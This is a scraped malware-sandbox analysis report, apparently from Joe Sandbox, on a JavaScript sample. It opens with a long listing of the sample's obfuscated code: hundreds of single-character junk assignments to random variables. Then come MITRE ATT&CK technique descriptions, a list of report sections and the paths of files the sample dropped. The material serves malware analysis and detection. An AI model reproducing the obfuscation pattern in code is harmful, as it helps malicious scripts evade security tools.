862	bkyuqeu = "B";
863	bkyuqeu = "E";
864	bkyuqeu = "g";
865	bkyuqeu = "F";
866	bkyuqeu = "U";
867	bkyuqeu = "h";
868	bkyuqeu = "y";
869	bkyuqeu = "t";
870	bkyuqeu = "D";
871	bkyuqeu = "T";
872	bkyuqeu = "Y";
873	bkyuqeu = "c";
874	bkyuqeu = "q";
875	bkyuqeu = "S";
876	bkyuqeu = "r";
877	bkyuqeu = "l";
878	bkyuqeu = "I";
879	bkyuqeu = "k";
880	bkyuqeu = "w";
881	bkyuqeu = "B";
882	bkyuqeu = "A";
883	bkyuqeu = "C";
884	bkyuqeu = "O";
885	bkyuqeu = "s";
886	bkyuqeu = "b";
887	bkyuqeu = "J";
888	bkyuqeu = "e";
889	bkyuqeu = "w";
890	bkyuqeu = "w";
891	bkyuqeu = "O";
892	bkyuqeu = "p";
893	bkyuqeu = "A";
894	bkyuqeu = "I";
895	cxyhgq = "u";
896	cxyhgq = "M";
897	cxyhgq = "r";
898	cxyhgq = "n";
899	cxyhgq = "B";
900	cxyhgq = "U";
901	cxyhgq = "U";
902	cxyhgq = "d";
903	cxyhgq = "Q";
904	cxyhgq = "c";
905	cxyhgq = "R";
906	cxyhgq = "i";
907	cxyhgq = "h";
908	cxyhgq = "m";
909	cxyhgq = "J";
910	cxyhgq = "k";
911	cxyhgq = "R";
912	cxyhgq = "j";
913	cxyhgq = "C";
914	cxyhgq = "m";
915	cxyhgq = "l";
916	cxyhgq = "c";
917	cxyhgq = "M";
918	cxyhgq = "o";
919	cxyhgq = "G";
920	cxyhgq = "u";
921	cxyhgq = "K";
922	cxyhgq = "u";
923	cxyhgq = "Q";
924	cxyhgq = "o";
925	cxyhgq = "G";
926	cxyhgq = "L";
927	cxyhgq = "L";
928	cxyhgq = "B";
929	cxyhgq = "Y";
930	cxyhgq = "X";
931	cxyhgq = "i";
932	cxyhgq = "T";
933	cxyhgq = "g";
934	cxyhgq = "j";
935	cxyhgq = "X";
936	cxyhgq = "U";
937	cxyhgq = "8";
938	wlvarnje = "k";
939	wlvarnje = "P";
940	wlvarnje = "H";
941	wlvarnje = "k";
942	wlvarnje = "b";
943	wlvarnje = "T";
944	wlvarnje = "t";
945	wlvarnje = "Q";
946	wlvarnje = "Z";
947	wlvarnje = "n";
948	wlvarnje = "t";
949	wlvarnje = "m";
950	wlvarnje = "P";
951	wlvarnje = "z";
952	wlvarnje = "d";
953	wlvarnje = "F";
954	wlvarnje = "N";
955	wlvarnje = "J";
956	wlvarnje = "Z";
957	wlvarnje = "R";
958	wlvarnje = "d";
959	wlvarnje = "w";
960	wlvarnje = "B";
961	wlvarnje = "J";
962	wlvarnje = "p";
963	wlvarnje = "h";
964	wlvarnje = "m";
965	wlvarnje = "v";
966	wlvarnje = "u";
967	wlvarnje = "b";
968	wlvarnje = "i";
969	wlvarnje = "N";
970	hzelpezgi = "Q";
971	hzelpezgi = "F";
972	hzelpezgi = "c";
973	hzelpezgi = "N";
974	hzelpezgi = "A";
975	hzelpezgi = "B";
976	hzelpezgi = "J";
977	hzelpezgi = "x";
978	hzelpezgi = "b";
979	hzelpezgi = "i";
980	hzelpezgi = "Z";
981	hzelpezgi = "C";
982	hzelpezgi = "E";
983	avbams = "K";
984	avbams = "z";
985	avbams = "r";
986	avbams = "c";
987	avbams = "V";
988	avbams = "D";
989	avbams = "n";
990	avbams = "q";
991	avbams = "T";
992	avbams = "z";
993	avbams = "y";
994	avbams = "R";
995	avbams = "o";
996	avbams = "U";
997	avbams = "q";
998	avbams = "l";
999	avbams = "e";
1000	avbams = "v";
1001	avbams = "k";
1002	gqmtbn = "Y";
1003	gqmtbn = "a";
1004	gqmtbn = "Q";
1005	gqmtbn = "w";
1006	gqmtbn = "n";
1007	gqmtbn = "O";
1008	gqmtbn = "B";
1009	gqmtbn = "E";
1010	gqmtbn = "i";
1011	gqmtbn = "O";
1012	gqmtbn = "V";
1013	gqmtbn = "Q";
1014	gqmtbn = "K";
1015	gqmtbn = "i";
1016	gqmtbn = "T";
1017	gqmtbn = "W";
1018	gqmtbn = "N";
1019	gqmtbn = "Q";
1020	gqmtbn = "X";
1021	gqmtbn = "s";
1022	gqmtbn = "N";
1023	gqmtbn = "N";
1024	gqmtbn = "n";
1025	gqmtbn = "U";
1026	gqmtbn = "i";
1027	gqmtbn = "H";
1028	gqmtbn = "n";
1029	gqmtbn = "D";
1030	gqmtbn = "n";
1031	gqmtbn = "b";
1032	gqmtbn = "j";
1033	gqmtbn = "Q";
1034	gqmtbn = "L";
1035	gqmtbn = "y";
1036	gqmtbn = ".";
1037	uekffsql = "u";
1038	uekffsql = "d";
1039	uekffsql = "N";
1040	uekffsql = "d";
1041	uekffsql = "J";
1042	uekffsql = "S";
1043	uekffsql = "D";
1044	uekffsql = "l";
1045	uekffsql = "v";
1046	uekffsql = "s";
1047	uekffsql = "M";
1048	uekffsql = "C";
1049	uekffsql = "U";
1050	uekffsql = "S";
1051	uekffsql = "U";
1052	uekffsql = "m";
1053	uekffsql = "r";
1054	uekffsql = "s";
1055	uekffsql = "c";
1056	uekffsql = "Q";
1057	uekffsql = "m";
1058	uekffsql = "S";
1059	uekffsql = "F";
1060	uekffsql = "x";
1061	uekffsql = "l";
1062	uekffsql = "v";
1063	uekffsql = "r";
1064	uekffsql = "j";
1065	uekffsql = "H";
1066	uekffsql = "Z";
1067	uekffsql = "P";
1068	uekffsql = "S";
1069	uekffsql = "L";
1070	uekffsql = "p";
1071	uekffsql = "j";
1072	uekffsql = "V";
1073	uekffsql = "s";
1074	uekffsql = "Z";
1075	uekffsql = "z";
1076	uekffsql = "D";
1077	uekffsql = "w";
1078	cqgzqxnaq = "r";
1079	cqgzqxnaq = "f";
1080	cqgzqxnaq = "e";
1081	cqgzqxnaq = "j";
1082	cqgzqxnaq = "f";
1083	cqgzqxnaq = "u";
1084	cqgzqxnaq = "Y";
1085	cqgzqxnaq = "H";
1086	cqgzqxnaq = "w";
1087	cqgzqxnaq = "u";
1088	cqgzqxnaq = "c";
1089	cqgzqxnaq = "i";
1090	cqgzqxnaq = "t";
1091	cqgzqxnaq = "v";
1092	cqgzqxnaq = "j";
1093	cqgzqxnaq = "R";
1094	cqgzqxnaq = "J";
1095	cqgzqxnaq = "h";
1096	cqgzqxnaq = "i";
1097	cqgzqxnaq = "B";
1098	cqgzqxnaq = "h";
1099	cqgzqxnaq = "X";
1100	cqgzqxnaq = "s";
1101	cqgzqxnaq = "e";
1102	cqgzqxnaq = "N";
1103	cqgzqxnaq = "P";
1104	cqgzqxnaq = "c";
1105	cqgzqxnaq = "f";
1106	cqgzqxnaq = "Q";
1107	cqgzqxnaq = "k";
1108	cqgzqxnaq = "y";
1109	cqgzqxnaq = "s";
1110	cqgzqxnaq = "A";
1111	cqgzqxnaq = "K";
1112	cqgzqxnaq = "y";
1113	cqgzqxnaq = "R";
1114	cqgzqxnaq = "n";
1115	cqgzqxnaq = "N";
1116	cqgzqxnaq = "a";
1117	cqgzqxnaq = "g";
1118	cqgzqxnaq = "b";
1119	cqgzqxnaq = "\"";
1120	eyhqfvo = "C";
1121	jlmbtkxig = "P";
1122	jlmbtkxig = "N";
1123	jlmbtkxig = "D";
1124	jlmbtkxig = "q";
1125	jlmbtkxig = "g";
1126	jlmbtkxig = "t";
1127	jlmbtkxig = "T";
1128	jlmbtkxig = "y";
1129	jlmbtkxig = "l";
1130	jlmbtkxig = "V";
1131	jlmbtkxig = "h";
1132	jlmbtkxig = "j";
1133	jlmbtkxig = "K";
1134	jlmbtkxig = "X";
1135	jlmbtkxig = "L";
1136	jlmbtkxig = "Q";
1137	jlmbtkxig = "H";
1138	jlmbtkxig = "w";
1139	jlmbtkxig = "J";
1140	jlmbtkxig = "S";
1141	zxnxlrxwz = "T";
1142	zxnxlrxwz = "h";
1143	zxnxlrxwz = "W";
1144	zxnxlrxwz = "z";
1145	zxnxlrxwz = "I";
1146	zxnxlrxwz = "P";
1147	zxnxlrxwz = "Z";
1148	zxnxlrxwz = "C";
1149	zxnxlrxwz = "r";
1150	zxnxlrxwz = "k";
1151	zxnxlrxwz = "s";
1152	zxnxlrxwz = "S";
1153	zxnxlrxwz = "e";
1154	zxnxlrxwz = "W";
1155	rumde = "Z";
1156	rumde = "p";
1157	rumde = "d";
1158	rumde = "B";
1159	rumde = "w";
1160	rumde = "f";
1161	rumde = "T";
1162	rumde = "p";
1163	rumde = "M";
1164	rumde = "g";
1165	agsiz = "E";
1166	agsiz = "q";
1167	agsiz = "u";
1168	agsiz = "O";
1169	agsiz = "z";
1170	agsiz = "k";
1171	agsiz = "f";
1172	agsiz = "x";
1173	agsiz = "n";
1174	agsiz = "b";
1175	agsiz = "O";
1176	agsiz = "s";
1177	agsiz = "E";
1178	agsiz = "D";
1179	agsiz = "I";
1180	agsiz = "N";
1181	agsiz = "P";
1182	agsiz = "i";
1183	agsiz = "H";
1184	agsiz = "l";
1185	agsiz = "c";
1186	agsiz = "C";
1187	agsiz = "7";
1188	tfdaiub = "C";
1189	tfdaiub = "c";
1190	byfez = "L";
1191	byfez = "C";
1192	byfez = "B";
1193	byfez = "q";
1194	byfez = "w";
1195	byfez = "N";
1196	byfez = "G";
1197	byfez = "V";
1198	byfez = "g";
1199	byfez = "A";
1200	byfez = "v";
1201	byfez = "N";
1202	byfez = "H";
1203	byfez = "S";
1204	byfez = "T";
1205	byfez = "l";
1206	byfez = "I";
1207	byfez = "j";
1208	byfez = "O";
1209	byfez = "v";
1210	byfez = "K";
1211	byfez = "y";
1212	byfez = "N";
1213	byfez = "i";
1214	byfez = "F";
1215	byfez = "y";
1216	byfez = "a";
1217	byfez = "N";
1218	byfez = "Y";
1219	byfez = "X";
1220	byfez = "n";
1221	eidwgavue = "w";
1222	eidwgavue = "I";
1223	eidwgavue = "v";
1224	eidwgavue = "q";
1225	eidwgavue = "W";
1226	eidwgavue = "P";
1227	eidwgavue = "B";
1228	eidwgavue = "Y";
1229	eidwgavue = "m";
1230	eidwgavue = "y";
1231	eidwgavue = "H";
1232	eidwgavue = "S";
1233	eidwgavue = "b";
1234	eidwgavue = "H";
1235	eidwgavue = "A";
1236	eidwgavue = "Y";
1237	eidwgavue = "r";
1238	mtykek = "P";
1239	mtykek = "x";
1240	mtykek = "Z";
1241	mtykek = "G";
1242	mtykek = "g";
1243	mtykek = "d";
1244	mtykek = "d";
1245	mtykek = "C";
1246	mtykek = "p";
1247	mtykek = "W";
1248	mtykek = "v";
1249	mtykek = "l";
1250	mtykek = "G";
1251	mtykek = "h";
1252	cdvlgbx = "v";
1253	cdvlgbx = "O";
1254	wbvionhj = "t";
1255	wbvionhj = "i";
1256	wbvionhj = "X";
1257	wbvionhj = "G";
1258	wbvionhj = "P";
1259	wbvionhj = "P";
1260	tiqhyovl = "S";
1261	tiqhyovl = "i";
1262	tiqhyovl = "g";
1263	tiqhyovl = "k";
1264	tiqhyovl = "G";
1265	tiqhyovl = "S";
1266	tiqhyovl = "V";
1267	tiqhyovl = "P";
1268	tiqhyovl = "U";
1269	tiqhyovl = "Q";
1270	tiqhyovl = "q";
1271	tiqhyovl = "O";
1272	tiqhyovl = "i";
1273	tiqhyovl = "d";
1274	tiqhyovl = "h";
1275	tiqhyovl = "b";
1276	uxtqmhvw = "d";
1277	uxtqmhvw = "z";
1278	uxtqmhvw = "Y";
1279	uxtqmhvw = "m";
1280	uxtqmhvw = "b";
1281	uxtqmhvw = "a";
1282	uxtqmhvw = "9";
1283	pgucy = "p";
1284	pgucy = "a";
1285	pgucy = "t";
1286	ixnjnntfl = "y";
1287	ixnjnntfl = "S";
1288	ixnjnntfl = "Q";
1289	ixnjnntfl = "L";
1290	ixnjnntfl = "D";
1291	ixnjnntfl = "b";
1292	ixnjnntfl = "h";
1293	ixnjnntfl = "J";
1294	ixnjnntfl = "I";
1295	ixnjnntfl = "G";
1296	ixnjnntfl = "C";
1297	ixnjnntfl = "o";
1298	ixnjnntfl = "F";
1299	ixnjnntfl = "f";
1300	ixnjnntfl = "U";
1301	ixnjnntfl = "s";
1302	ixnjnntfl = "u";
1303	ixnjnntfl = "u";
1304	ixnjnntfl = "e";
1305	ixnjnntfl = "U";
1306	ixnjnntfl = "u";
1307	ixnjnntfl = "E";
1308	ixnjnntfl = "d";
1309	ixnjnntfl = "S";
1310	ixnjnntfl = "J";
1311	ixnjnntfl = "g";
1312	ixnjnntfl = "t";
1313	ixnjnntfl = "s";
1314	ixnjnntfl = "G";
1315	ixnjnntfl = "C";
1316	ixnjnntfl = "S";
1317	ixnjnntfl = "l";
1318	ixnjnntfl = "B";
1319	ixnjnntfl = "j";
1320	ixnjnntfl = "D";
1321	ixnjnntfl = "o";
1322	ixnjnntfl = "S";
1323	ixnjnntfl = "a";
1324	ixnjnntfl = "f";
1325	ixnjnntfl = "J";
1326	ixnjnntfl = "d";
1327	ixnjnntfl = "s";
1328	ixnjnntfl = "F";
1329	ixnjnntfl = "%";
1330	vnrgx = "v";
1331	vnrgx = "t";
1332	vnrgx = "p";
1333	vnrgx = "F";
1334	vnrgx = "U";
1335	vnrgx = "T";
1336	vnrgx = "u";
1337	vnrgx = "q";
1338	vnrgx = "p";
1339	xqbfryrm ( );	xqbfryrm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1505131979137938490.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\025299ce-e92c-409e-ad42-0e5f00fb71b9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0ac663e2-f9ef-428c-887f-ca3f27d2b27d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55f2ee.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1505131979137938490.js